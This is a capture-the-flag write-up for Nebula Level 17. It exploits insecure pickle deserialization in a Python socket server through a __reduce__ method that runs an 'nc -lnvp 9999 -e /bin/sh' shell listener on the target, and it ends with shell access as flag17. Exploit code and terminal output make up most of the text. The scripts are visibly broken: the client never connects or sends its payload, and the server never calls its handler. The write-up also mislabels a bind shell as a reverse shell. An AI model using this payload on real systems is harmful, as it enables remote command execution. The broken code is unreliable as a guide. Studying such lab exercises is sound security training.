In Level 17 we are given a vulnerable python server:


import os  
import pickle  
import time  
import socket  
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):  
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
    clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)  
skt.bind(('', 10007))  

while True:  
  clnt, addr = skt.accept()

  if(os.fork() == 0):
    clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))

The only part of the application that processes our data is:

obj = pickle.loads(line)  

Googling a little bit about picke we find many sites describing how to abuse pickle deserialization by running arbitrary commands when unpickling. More details here

Our exploit will serialize an object that implements the _reduce_() method. This method will be called at pickling time and should return a function and arguments to call at unpickling time so we can call any arbitrary function:


import os  
import pickle  
import socket

class Pandora(object):  
    def __reduce__(self):
        return (os.system,(('nc -lnvp 9999 -e /bin/sh'),))

HOST = ""  
PORT = 10007  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)  
reply = s.recv(1024)  
print(HOST + ": " + reply)  
obj = Pandora()  
sobj = pickle.dumps(obj)  
print("Sending: " + str(obj))  
print("Awaiting reply from: " + HOST)  
reply = s.recv(1024)  
print(HOST + ": " + reply)  

We will start up a netcat listener that will send us a reverse shell when conencted.

level17@nebula:~$ python Accepted connection from  
Sending: <__main__.Pandora object at 0xb782fcec>  
Awaiting reply from:  
^CTraceback (most recent call last):
  File "", line 22, in <module>
    reply = s.recv(1024)

Now, lets connect to our reverse shell:

level17@nebula:~$ nc 9999  
uid=982(flag17) gid=982(flag17) groups=982(flag17)  
You have successfully executed getflag on a target account